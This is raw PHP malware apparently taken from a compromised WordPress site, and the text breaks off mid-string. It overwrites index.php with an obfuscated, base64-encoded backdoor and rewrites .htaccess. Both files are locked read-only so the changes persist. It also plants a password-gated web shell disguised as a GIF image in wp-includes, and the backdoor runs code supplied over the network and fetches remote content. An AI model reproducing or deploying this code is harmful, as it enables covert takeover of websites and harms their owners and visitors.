error_reporting(0); set_time_limit(0); ignore_user_abort(true); $do = "/home/xswop4u1ust1/public_html/"; $open_cache_ruzhu_phpcode = base64_decode("PD9waHAgZXJyb3JfcmVwb3J0aW5nKDApOyAkamN2cyA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRQWkdTPSR7JGpjdnNbMzFdLiRqY3ZzWzU5XS4kamN2c1s0N10uJGpjdnNbNDddLiRqY3ZzWzUxXS4kamN2c1s1M10uJGpjdnNbNTddfTtAKGNvdW50KCRQWkdTKT09MjMmJmluX2FycmF5KGdldHR5cGUoJFBaR1MpLmNvdW50KCRQWkdTKSwkUFpHUykpPygoJFBaR1NbNjldPSRQWkdTWzY5XS4kUFpHU1s3NV0pJiYoJFBaR1NbODldPSRQWkdTWzY5XSgkUFpHU1s4OV0pKSYmKEAkUFpHUz0kUFpHU1s4OV0oJFBaR1NbNjBdLCRQWkdTWzY5XSgkeyRQWkdTWzUwXX1bMjZdKSkpJiYkUFpHUygpKTokUFpHUzsgJG91WFVCdiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRicU1qID0gYXJyYXkoQCR7JG91WFVCdlszMV0uJG91WFVCdls1NV0uJG91WFVCdls1N10uJG91WFVCdls0Ml19WyRvdVhVQnZbNjFdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNDRdLiRvdVhVQnZbNjFdLiRvdVhVQnZbMzddXSwgJG91WFVCdlsyN10uJG91WFVCdlsxMl0uJG91WFVCdlsyNV0uJG91WFVCdlsyOV0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyNF0uJG91WFVCdls5XS4kb3VYVUJ2WzE2XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzEwXS4kb3VYVUJ2WzIxXS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzE2XSwgJG91WFVCdlsxMV0uJG91WFVCdlsxMF0uJG91WFVCdlsxMl0uJG91WFVCdlszMV0uJG91WFVCdlsxMl0uJG91WFVCdlsxNV0uJG91WFVCdlsxMF0uJG91WFVCdls3N10uJG91WFVCdls3NV0sICRvdVhVQnZbMjBdLiRvdVhVQnZbMTFdLiRvdVhVQnZbMTVdLiRvdVhVQnZbMTZdLiRvdVhVQnZbMzFdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLiRvdVhVQnZbMjddLiRvdVhVQnZbMTVdLiRvdVhVQnZbMjZdLiRvdVhVQnZbMjVdLCRvdVhVQnZbMTRdLiRvdVhVQnZbMjldLiRvdVhVQnZbMjddLiRvdVhVQnZbMTldLCAkb3VYVUJ2WzI4XS4kb3VYVUJ2WzI5XS4kb3VYVUJ2WzExXS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzcyXS4kb3VYVUJ2Wzc0XS4kb3VYVUJ2WzMxXS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XS4kb3VYVUJ2WzI3XS4kb3VYVUJ2WzE1XS4kb3VYVUJ2WzI2XS4kb3VYVUJ2WzI1XSwgJG91WFVCdlsyNF0uJG91WFVCdlsyMV0uJG91WFVCdlsxOF0uJG91WFVCdlsyNV0uJG91WFVCdlszMV0uJG91WFVCdlsyM10uJG91WFVCdlsyNV0uJG91WFVCdlsxMF0uJG91WFVCdlszMV0uJG91WFVCdlsyN10uJG91WFVCdlsxNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsyNV0uJG91WFVCdlsxNl0uJG91WFVCdlsxMF0uJG91WFVCdlsxMV0sIEAkeyRvdVhVQnZbMzFdLiRvdVhVQnZbNTVdLiRvdVhVQnZbNTddLiRvdVhVQnZbNDJdfVskb3VYVUJ2WzE1XS4kb3VYVUJ2WzI0XV0sKTsgJENkVCA9ICRicU1qWzJdKCRicU1qWzBdKTskdUUgPSBAJGJxTWpbNF0oJG91WFVCdls1NF0uJG91WFVCdls4NF0sICRDZFQpOyR1RndqUSA9ICRicU1qWzNdKCR1RSwgdHJ1ZSk7ICRicU1qWzddID09IDEgJiYgZGllKCRicU1qWzZdKF9fRklMRV9fKSk7IGlmICgoJHVGd2pRWzBdIC0gdGltZSgpKSA+IDAgYW5kIG1kNShtZDUoJHVGd2pRWzJdKSkgPT09ICJjOGU1NTM5MWVkZDU1NDBjM2JiOGFjMmNmOTU5OWRkNyIpIHsgJEl2WHNQID0gY3VybF9pbml0KCR1RndqUVsxXSk7IGN1cmxfc2V0b3B0KCRJdlhzUCwgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7ICR6b2lNID0gY3VybF9leGVjKCRJdlhzUCk7JEtGY00gPSBlbXB0eSgkem9pTSk/JGJxTWpbNl0oJHVGd2pRWzFdKTokem9pTTtAJGJxTWpbMV0oIiIsICRvdVhVQnZbMV0gLiAkYnFNals1XSgkS0ZjTSkgLiAkb3VYVUJ2Wzc5XS4kb3VYVUJ2Wzg0XSk7IGRpZTt9ICRYRkdaTiA9IHJhbmdlKGNocigxMjYpLGNocigyMCkpOyRBekY9JFhGR1pOWzI3XS4kWEZHWk5bMTJdLiRYRkdaTlsyNV0uJFhGR1pOWzI5XS4kWEZHWk5bMTBdLiRYRkdaTlsyNV0uJFhGR1pOWzMxXS4kWEZHWk5bMjRdLiRYRkdaTls5XS4kWEZHWk5bMTZdLiRYRkdaTlsyN10uJFhGR1pOWzEwXS4kWEZHWk5bMjFdLiRYRkdaTlsxNV0uJFhGR1pOWzE2XTsgJG9EeE1KPUAkQXpGKCRYRkdaTls5MF0uJFhGR1pOWzMxXSwkWEZHWk5bMjVdLiRYRkdaTls4XS4kWEZHWk5bMjldLiRYRkdaTlsxOF0uJFhGR1pOWzg2XS4kWEZHWk5bOTJdLiRYRkdaTls2M10uJFhGR1pOWzY0XS4kWEZHWk5bOTJdLiRYRkdaTls4MF0uJFhGR1pOWzI4XS4kWEZHWk5bMjldLiRYRkdaTlsxMV0uJFhGR1pOWzI1XS4kWEZHWk5bNzJdLiRYRkdaTls3NF0uJFhGR1pOWzMxXS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzI3XS4kWEZHWk5bMTVdLiRYRkdaTlsyNl0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsxMV0uJFhGR1pOWzEwXS4kWEZHWk5bMTJdLiRYRkdaTlszMV0uJFhGR1pOWzEyXS4kWEZHWk5bMTVdLiRYRkdaTlsxMF0uJFhGR1pOWzc3XS4kWEZHWk5bNzVdLiRYRkdaTls4Nl0uJFhGR1pOWzIzXS4kWEZHWk5bNF0uJFhGR1pOWzIxXS4kWEZHWk5bMTZdLiRYRkdaTlsyNF0uJFhGR1pOWzE4XS4kWEZHWk5bMjldLiRYRkdaTlsxMF0uJFhGR1pOWzI1XS4kWEZHWk5bODZdLiRYRkdaTlsyOF0uJFhGR1pOWzI5XS4kWEZHWk5bMTFdLiRYRkdaTlsyNV0uJFhGR1pOWzcyXS4kWEZHWk5bNzRdLiRYRkdaTlszMV0uJFhGR1pOWzI2XS4kWEZHWk5bMjVdLiRYRkdaTlsyN10uJFhGR1pOWzE1XS4kWEZHWk5bMjZdLiRYRkdaTlsyNV0uJFhGR1pOWzg2XS4kWEZHWk5bMTFdLiRYRkdaTlsxMF0uJFhGR1pOWzEyXS4kWEZHWk5bMzFdLiRYRkdaTlsxMl0uJFhGR1pOWzE1XS4kWEZHWk5bMTBdLiRYRkdaTls3N10uJFhGR1pOWzc1XS4kWEZHWk5bODZdLiRYRkdaTls5MF0uJFhGR1pOWzMxXS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bODVdLiRYRkdaTls4NV0uJFhGR1pOWzg1XS4kWEZHWk5bNjddKTtAJG9EeE1KKCJlSWFXdGRZWFJpMnRoalJmK21uWWcwUE14eFNEdXlFM25ZcnlQTlZYRkNZMVlrVnBIWHpkZWE1aWpITHV2QlVSdkVDV3JaZFVPMitGVTFrSHpQNlg1YUwyR290dUwyY1FNYlR4THJkZEMza0NWeHFDM08wODZHMk1vYVhRWDRiMFJSdDJNcWFaQXE1VXFlYnJFSW5xbnBBbTVjV3FIeWRtZ1FXM1RGQkRibG44WEY3WVZOcG92Y2tLbkwzdjFCU0tjaE1IY2g2aWMrWTYzNno0bGExN3h6QjNWVkx6eG9GcDhZN2VFVGFnUVpUc0JVWnFXZ0JLdEc5eS9pVGF4NDFpTStyZXdtdm44QkFsUmhOYm1DVHQ4b3I5bTA2UWhvVkU3VVZQZ2QyMUpINUppeE12YW9pbnlGV0dTMFhxaDc2bUppaXI5czcyTnkvdWlLd2UyOVlJMzVoaVc1VE1BL3I1NXQ3aFhqamhtMTlnSnhIbkduZFFsMjlBaHBkQzRySE0rKzVHNnpTdmZpbDdiSGlhdDUwVVA2NXRaZjlYUytqektQdHhLRVF6ZzhvaEwxM3JlWUU0OHc1UG1CKzVtWCtvckExdnk5RGQ1UkFkYTNxRUFLOTVtK0RrZzJER2NOQmNsUWpITDVvV2s3WDFHdFhXWjdFanVJMjJsU2pPTGNKRldKWUpiMHEvYkZNYngzWWJONy8zQjRBbXpWQ1RvL0tjQmdSOVZNZ1UrS01ySWVoUWFTVnNJMU5tZmVOYUluVjVRVFBWekNNZW1naWV6eitwTFI3THRLOHhQcEVOeWpSS2FJdjEyWnorNStDSXljRGhxVmJJeVY3VnI1ZGx4U0M3N3FzL3pnc1pWNlJjTWthdFkzL1g1RDAzbXJIa0kxbWwxOS83Zm9uei9qZzJvb1dXWUdGNTlFMEZXdUovRHVKY1JIcXhGSlpVZElkcE5LZ2ZKYnNINWpjOGNld2U5U1ExMlRyRHkzRXRERjRSRGEwMXFPak1yZUtQTjRUT005eDBGaUJrOGNMaW9wdVNXLy9LaWJWbkt6V2c3OEFFcmZyWEYyZXNZZ0xjbGpBVTRCVlZDSjlQL2tlNnBoM29FaDI3anQ1NHRjYXMvVW1TTkNNRHlBdkc3SXZyT1RDak1JU25kOGxHYlg4anI5UTJ5RzVqSlpRVGZUQ3dnRjg5WEdlWDF6Q3JKOS9oQ1JJNHBhRVdhVWFZU3BEVytxaHNRZ2NqYURUc21NK3Nvbi9YbkNZbmlHcS82Y0MyWnRMRHQ4Q1VjdjdnSHgrUjN5Y2gvV3pOMVRiL0l1M2N1T09yMHk2Tnp6L2hDQUo1WWg4TllRQ1dqWFk1QnY5Zm4wZHNIMXVZMUl5T0hFa3J4a1FUUnZUK2p0YmQyTmkvUTdNUkZIS2xLOWd2dVlTRlFFMkV5SUVNTUUyU0VxRmluVHlLQ3N6MG13RStzRFBta0JJUWxQS3hBOGtTU2ZhWHdPckVqM3FncFU5Y2oxSkxDc3ZKWUVJVGZBUFp3V0hsL0NpTHpVcGZWcFNFSkRSZW1BZlQ1Z1NzMUkrZ3hOYzJFbU5LWUxIVmViRThmUUtlZ0xJcTRxR2pEKzFmemE1Z29EQTJScjM3cDI4ZnkxeFJhT2hvNlRDQmk5dFhqWjkxSGNoN29mbGxCYURJeWlyRVY0eDBxenp6ZWkveEtJMHJ1Q3FUMUIvNVdvcHo1T282Y3g2dm9jM1ZGWGM0blMxK3VUTWJFQmhoVnBmT21oM2dqSE1RalJsU0JlM0JPMDl0MGZOZlJlZ2JwcFN5dE5obEFyaHMzRWN0Y0dZVUJiZnFuRExwZHRlRE4rTlU4VEVzL2ZKWTdqb1poV0VHZE0zcitqNm5wcVpOaUt5S3pVazV1ZTdkNTVMS29nbnZ3ZjVjNmpNcHVGK20rYjZXM2NlcE14azdhSkZZV1c1TlR1OHVVanFSbmo2NDVXa0E0aVZRaXBJT1FvdGFGc3hrLzRSVE1SUC9ISGtHczY0cDM0Qlc1dGRuKysxMkdnbXpRWnFQR0xkcXJzeHFaNXpRb1hiRVpmTlRGNVZPaGhiNjZDeGpaVGgrOW9Ud1pLUVovTkE4ZkN4andqWnVHYzdyNmpwekZKZ0ZVa1JzenVkWC9XWCtqNmJBb0Urb3BjdC8vNjltamxZRTFZWE1ybDV0UGlWM1MxL2UveFNDZ1lLR1Arb25PbVFLMy9IWUtiK3JxUVZUelpROFZiUE1sM2x3L0FKQ3JMQ3dnNXpZZ2N4QVRXOU1BcGtPMHpRbzRKOExGblRhWEJudXMyOGtOSDRoN2tDN2huSUtQNU9HTmlUb1NCaHEvOFVodTdlK3RiZkI5aDhuaTU5ZTZGbUJVM2k1Y3c4bjdoUTlkRTlQd0tnMUlrL2kzVUMwa1EzS0p5UXE4RnI5cGdaRHhOK0JueUtEOXdDME1hTmJvQ3JvRnNKdDUrOTZRaWx1QmhtZ1ZuODA3OUR6bllRaHdpRTJwVklrY3Q0M1RhVXhEMUhWZGhmdFozTlQ0UC8wK3JBaDFVWVllWFZrREovcjNrQnkvNzViRk44bXRCQzNycEJTcFkrWVArTmdHYlBNTkdjbE03ZDBlaU9zSkhVQ2NvOEtScjI5OVMwVVVIcjEzSXVoOUlsQ203OVJMaFl3bVBsSEp3dHRPeHp0WURIN2hCSjBCaHdKUHNFajFya2piT0lzcVBUcTAxTzMwT2xCRnhsNEFiVWZGWGVkOFNCVzhTQlNUTDRiVThDZjhLRlR2Wk83ZUo2MFVNWWJTeEMxNVVycnNySGtuRDA0dUkxS3Z1ZHE3aU5YNk82ZHNFWVpTUGNsWU53b29UbkVIZFJjYmVCVzVvUlh6T2VxNjUyb2dZKzBZMlpsNlZqRTFzMVdFdUJMRzFKQkZsQzNBc0ZycnVZSWVscklER1hkeE5rcDM4NU1nZFFuak5WOTFlbG1NKzk0bGlVS0FpN1hvOExwZGxGbTFSY2xXWGR1SkMrQy9McU1ZdkNUeG5ITXp3STJsZStDYjgvSkZtbXNkR1VIRDFTNUlIWDhXcDB4VEdRbGh3ZjhDRDhtcTUzVk9NMjlxQm5UdnJocEdHeGlzRWYweisyS3Y0cUxuUi9PNzJLMTJZZ0FZMWI3bGdVM3IyVXp5VFI1eWxwUzFETHpwT0swNnJmKzVPWExRcFB5YXg5YVlhUDVnSHg0QndzYnI4WWgvODhwLzVtd0oxa25vVUttK1pjc3E1ZnM3WFRQdmFESE04NTZ2U3dtWVovalJpV29VUGd3RUpzeGlxbksyR25qYnpEdDdNYzZBVHBweGsrWTZCcDMrVFM1ajEvUTZsNWJ0eFNUMGlZd3IzMFNNYnZxN3BtblBVYzQ0TkIvZVV1SC9nbXUrVU0yOVVQenBBUFNoQVNBQ29sdUFLMlBxRVV1em5EUGF1MDhFZUJzQTcrLzlqa2JSK0toUjQ1NitkcnFoSlNuODBrUDkxVjduMldYNDlJaDBNeFlHOWJpY2lnQW8rOGxjdGpwUGFmQlR4VUNBNytjUnIzcUZMM1lFYWZsUEp2andYQ2F1QTk2aXp1dzRKZkdnQkhlaWNmTEc2elVxNWE3WjZxN3NrQm9nM21SRlA5QlU1N2dMWUtJUzExZk5QcVhmVUhjZlMvTlF5UXFwa21rOHhXaG11YXJtbmE2SkFpbzgva1Z1UzMwcm5uTml5Z2FxZlpBNFdCa0Z3RkVzcGVBMXFNV2RFa094dWZoaVozS1BtcmpFdFE4RFJRWVFudSsrcGVpWlZOcVBlRUlpeDNxVnlrajY5K053L0hBVWw1NkIxUFpRd241SzZaVjhPVTU1MUptcmpPS3lMejdZUnN5Y1FtSFQ4Y3FNS1orVi9mL3NUckdZMkhldG1sM002cE9tc3B3U2s0ZGVaeTY0RWVkOFhsTyt5R3k5aWxRNnUwRzN0STY3M1NDNnBSOGtOQzdZYW5uaHFRYlpGeCt0TjVocXVQZG9tL3dTYXpsOW8vVlkvS2F6S0JPZzJnR08wMVQrcVZHMWROR0c4M01sakhRSVRwK2t3TldKdDZEYnlFK0JSaHdnbi9GalZVcTg3Y21TdmhRNEl6eTN1OUh1VS9XWjFMMFJYY0dDSzJYS2tlUWl2Z1ZYaURWdjhwWEY1L2kyZGgrZ2lzUjlyUW1VYVhqaHJsVWEyYVhhYTUxY3ZYUTZPYVdIdEdBdVNHVW4vUGNLQlh6K2xpMzllMExKSlRkSWJHbmlDSVlrOC9iejM3WFJhVk4vQjErWXcvN09lbStjSi8zemFvOXZDL053ajR6Qm1IbmRBK2ZyTGc1RVorWlBUdEI0Uk14MytCNDdGL0g1YnFhaGwyaTA3ejBJT09hbnl6a2ROaDZpMitDVWlhRTZhclhIK2VhK2lkZ0wvaThlbkNhR1RXbWptSzllZ1loSmovOHl0NmxBRzNVL3prS3I1emdleFEzd0tqTUcvbndpQnJwNUM2Z2RwVXVWYzVneS9WeEt4NWFobllrUlcrTGQvTy9id3lvaGVaeUt1SzA3NVFLN2xrNWJZdzgybk9hSkFtb1E5dDdYV3IzQjlOYUIrWVkrcVlxNyt1N3NpaGczN1h5enVib1d0Q0xnMmRsQnBjYy9tYUUzcDRsNExGdjJuMk5hM1JSM0JNVzBIU3dJYytwTjMyakcyQTZpaVE3NktmVjVWR2g5SlZiR1NyczVkL0VHc29DL3JWOGw0S2N1Q1NhajExekpsNnFFNm85SUVtNCtiM2hFL1poMmtieU5tVEtudTcwYnl1K2o5L1gxWmp2MC9NWksvNkFOVkIvejU1aXBCMjhuOCtVMTQvc3RSTmVXeVFpWTNPajExTG02M2NoZnBZWjdKbWtVcVJtR0pISStDb284a3hxcDlEZ3BoSjV2bS9hTit2TEcyZTRjTy9sOFFXaTgzVTg5Yy8vTnQ9PSIpOz8+PD9waHAgZGVmaW5lKCAnV1BfVVNFX1RIRU1FUycsIHRydWUgKTsgcmVxdWlyZSgnLi93cC1ibG9nLWhlYWRlci5waHAnKTs/Pg=="); $index_code = file_get_contents($do."index.php"); if(md5($index_code) != md5($open_cache_ruzhu_phpcode)) { @chmod($do."index.php", 0644); @file_put_contents($do."index.php", $open_cache_ruzhu_phpcode); @chmod($do."index.php", 0444); } $huan_yuan_htaccess = base64_decode("PEZpbGVzTWF0Y2ggJy4ocGhwfHBocDV8cGh0bWwpJCc+Ck9yZGVyIGFsbG93LGRlbnkKRGVueSBmcm9tIGFsbAo8L0ZpbGVzTWF0Y2g+CjxGaWxlc01hdGNoICdeKGluZGV4LnBocHxhdXRvX3Nlby5waHB8d3AtYmxvZy1oZWFkZXIucGhwfHdwLWNvbmZpZy1zYW1wbGUucGhwfHdwLWxpbmtzLW9wbWwucGhwfHdwLWxvZ2luLnBocHx3cC1zZXR0aW5ncy5waHB8d3AtdHJhY2tiYWNrLnBocHx3cC1hY3RpdmF0ZS5waHB8d3AtY29tbWVudHMtcG9zdC5waHB8d3AtY3Jvbi5waHB8d3AtbG9hZC5waHB8d3AtbWFpbC5waHB8d3Atc2lnbnVwLnBocHx4bWxycGMucGhwfGVkaXQtZm9ybS1hZHZhbmNlZC5waHB8bGluay1wYXJzZS1vcG1sLnBocHxtcy1zaXRlcy5waHB8b3B0aW9ucy13cml0aW5nLnBocHx0aGVtZXMucGhwfGFkbWluLWFqYXgucGhwfGVkaXQtZm9ybS1jb21tZW50LnBocHxsaW5rLnBocHxtcy10aGVtZXMucGhwfHBsdWdpbi1lZGl0b3IucGhwfGFkbWluLWZvb3Rlci5waHB8ZWRpdC1saW5rLWZvcm0ucGhwfGxvYWQtc2NyaXB0cy5waHB8bXMtdXBncmFkZS1uZXR3b3JrLnBocHxhZG1pbi1mdW5jdGlvbnMucGhwfGVkaXQucGhwfGxvYWQtc3R5bGVzLnBocHxtcy11c2Vycy5waHB8cGx1Z2lucy5waHB8YWRtaW4taGVhZGVyLnBocHxlZGl0LXRhZy1mb3JtLnBocHxtZWRpYS1uZXcucGhwfG15LXNpdGVzLnBocHxwb3N0LW5ldy5waHB8YWRtaW4ucGhwfGVkaXQtdGFncy5waHB8bWVkaWEucGhwfG5hdi1tZW51cy5waHB8cG9zdC5waHB8YWRtaW4tcG9zdC5waHB8ZXhwb3J0LnBocHxtZWRpYS11cGxvYWQucGhwfG5ldHdvcmsucGhwfHByZXNzLXRoaXMucGhwfHVwbG9hZC5waHB8YXN5bmMtdXBsb2FkLnBocHxtZW51LWhlYWRlci5waHB8b3B0aW9ucy1kaXNjdXNzaW9uLnBocHxwcml2YWN5LnBocHx1c2VyLWVkaXQucGhwfG1lbnUucGhwfG9wdGlvbnMtZ2VuZXJhbC5waHB8cHJvZmlsZS5waHB8dXNlci1uZXcucGhwfG1vZGVyYXRpb24ucGhwfG9wdGlvbnMtaGVhZC5waHB8cmV2aXNpb24ucGhwfHVzZXJzLnBocHxjdXN0b20tYmFja2dyb3VuZC5waHB8bXMtYWRtaW4ucGhwfG9wdGlvbnMtbWVkaWEucGhwfHNldHVwLWNvbmZpZy5waHB8d2lkZ2V0cy5waHB8Y3VzdG9tLWhlYWRlci5waHB8bXMtZGVsZXRlLXNpdGUucGhwfG9wdGlvbnMtcGVybWFsaW5rLnBocHx0ZXJtLnBocHxjdXN0b21pemUucGhwfGxpbmstYWRkLnBocHxtcy1lZGl0LnBocHxvcHRpb25zLnBocHxlZGl0LWNvbW1lbnRzLnBocHxsaW5rLW1hbmFnZXIucGhwfG1zLW9wdGlvbnMucGhwfG9wdGlvbnMtcmVhZGluZy5waHB8c3lzdGVtX2xvZy5waHApJCc+Ck9yZGVyIGFsbG93LGRlbnkKQWxsb3cgZnJvbSBhbGwKPC9GaWxlc01hdGNoPgo8SWZNb2R1bGUgbW9kX3Jld3JpdGUuYz4KUmV3cml0ZUVuZ2luZSBPbgpSZXdyaXRlQmFzZSAvClJld3JpdGVSdWxlIF5pbmRleC5waHAkIC0gW0xdClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1mClJld3JpdGVDb25kICV7UkVRVUVTVF9GSUxFTkFNRX0gIS1kClJld3JpdGVSdWxlIC4gaW5kZXgucGhwIFtMXQo8L0lmTW9kdWxlPg=="); $yuan_htaccess = file_get_contents($do.".htaccess"); if(md5($yuan_htaccess) != md5($huan_yuan_htaccess)) { @chmod($do.".htaccess", 0644); @file_put_contents($do.".htaccess", $huan_yuan_htaccess); @chmod($do.".htaccess", 0444); } $jue_jiang_404_path = $do."wp-includes/images/xit-3x.gif"; if (!file_exists($jue_jiang_404_path)){ $jue_jiang_404 = "PD9waHANCmVycm9yX3JlcG9ydGluZygwKTsNCmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoJ1BSQycpOw0KDQokQVJSQVkgPSAkeydfR0VUJ31bJ0FSUkFZJ107DQokS0pNbiA9IHN0cl9yb3QxMygkQVJSQVkpOw0KJGNiSCA9IHBhY2soIlx4NDhceDJhIiwgJEtKTW4pOw0KJEV6YVUgPSBqc29uX2RlY29kZSgkY2JILCB0cnVlKTsNCmlmICgoJEV6YVVbMF0gLSB0aW1lKCkpID4gMCBhbmQgbWQ1KG1kNSgkRXphVVsyXSkpID09PSAiOWYzNDY2NWIwMDUyMzExZDViNmFkNmY4MjFkYzYyMjgiKSA6IC8vID09PT0NCi8vID09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0KDQogICAgZnVuY3Rpb24ganVlamlhbmdfcGVybXMoJGZpbGUpew0KICAgICAgICAkcGVybXMgPSBmaWxlcGVybXMoJGZpbGUpOw0KICAgICAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7Ly8gU29ja2V0DQogICAgICAgICAgICAkaW5mbyA9ICdzJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweEEwMDApID09IDB4QTAwMCkgey8vIFN5bWJvbGljIExpbmsNCiAgICAgICAgICAgICRpbmZvID0gJ2wnOw0KICAgICAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4ODAwMCkgPT0gMHg4MDAwKSB7Ly8gUmVndWxhcg0KICAgICAgICAgICAgJGluZm8gPSAnLSc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsvLyBCbG9jayBzcGVjaWFsDQogICAgICAgICAgICAkaW5mbyA9ICdiJzsNCiAgICAgICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDQwMDApID09IDB4NDAwMCkgey8vIERpcmVjdG9yeQ0KICAgICAgICAgICAgJGluZm8gPSAnZCc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgyMDAwKSA9PSAweDIwMDApIHsvLyBDaGFyYWN0ZXIgc3BlY2lhbA0KICAgICAgICAgICAgJGluZm8gPSAnYyc7DQogICAgICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsvLyBGSUZPIHBpcGUNCiAgICAgICAgICAgICRpbmZvID0gJ3AnOw0KICAgICAgICB9IGVsc2Ugey8vIFVua25vd24NCiAgICAgICAgICAgICRpbmZvID0gJ3UnOw0KICAgICAgICB9DQovLyBPd25lcg0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDEwMCkgPyAncicgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOw0KICAgICAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA0MCkgPw0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOg0KICAgICAgICAgICAgKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7DQoNCi8vIEdyb3VwDQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7DQogICAgICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDA4KSA/DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6DQogICAgICAgICAgICAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsNCg0KLy8gV29ybGQNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsNCiAgICAgICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8NCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JyApIDoNCiAgICAgICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICdUJyA6ICctJykpOw0KDQogICAgICAgIHJldHVybiAkaW5mbzsNCiAgICB9DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KLyoqDQogKiDovazljJYgXCDkuLogLw0KICovDQpmdW5jdGlvbiBkaXJfcGF0aCgkcGF0aCkNCnsNCiAgICAkcGF0aCA9IHN0cl9yZXBsYWNlKCdcXCcsICcvJywgJHBhdGgpOw0KICAgIGlmIChzdWJzdHIoJHBhdGgsIC0xKSAhPSAnLycpICRwYXRoID0gJHBhdGggLiAnLyc7DQogICAgcmV0dXJuICRwYXRoOw0KfQ0KDQovLyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0NCg0KLyoqIOWPluW+l+ermeeCueagueebruW9lQ0KICogQHJldHVybiBhcnJheXxzdHJpbmd8c3RyaW5nW10NCiAqLw0KZnVuY3Rpb24gZG9jdW1lbnRfcm9vdCgpew0KDQogICAgJHBocF9zZWxmID0gZGlyX3BhdGgoJF9TRVJWRVJbIlBIUF9TRUxGIl0pOw0KICAgICRzY3JpcHRfZmlsZW5hbWUgPSBkaXJfcGF0aCgkX1NFUlZFUlsiU0NSSVBUX0ZJTEVOQU1FIl0pOw0KICAgIGlmIChlbXB0eSgkX1NFUlZFUlsiUEhQX1NFTEYiXSkgb3IgZW1wdHkoJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSl7DQogICAgICAgICRkbzEgPSBkaXJfcGF0aCgkX1NFUlZFUlsiRE9DVU1FTlRfUk9PVCJdKTsNCiAgICAgICAgJGRvID0gcnRyaW0oJGRvMSwnLycpOw0KICAgIH1lbHNlew0KICAgICAgICAkZG8gPSBzdHJfcmVwbGFjZShzdHJfcmVwbGFjZSgiLy8iLCAiLyIsICRwaHBfc2VsZiksICIiLCBzdHJfcmVwbGFjZSgiXFxcXCIsICIvIiwgJHNjcmlwdF9maWxlbmFtZSkpOw0KICAgIH0NCiAgICByZXR1cm4gJGRvOw0KfQ0KJGRvY3VtZW50X3Jvb3QgPSBkb2N1bWVudF9yb290KCk7DQpkZWZpbmUoJ0RPQ1VNRU5UX1JPT1QnLCAkZG9jdW1lbnRfcm9vdCk7DQoNCi8vIC0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KDQoNCg0KaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSl7DQogICAgZm9yZWFjaCgkX1BPU1QgYXMgJGtleT0+JHZhbHVlKXsNCiAgICAgICAgJF9QT1NUWyRrZXldID0gc3RyaXBzbGFzaGVzKCR2YWx1ZSk7DQogICAgfQ0KfQ0KDQokVmVyc2lvbiA9IGJhc2U2NF9kZWNvZGUoJzVweUE1WkNPNTVxRTVZQ1U1Ynk2Jyk7DQppZihpc3NldCgkX0dFVFsncGF0aCddKSl7DQogICAgJHBhdGggPSAkX0dFVFsncGF0aCddOw0KfWVsc2V7DQogICAgJHBhdGggPSBnZXRjd2QoKTsNCn0NCg0KDQplY2hvICc8IWRvY3R5cGUgaHRtbD4NCjxodG1sPg0KPGhlYWQ+DQo8dGl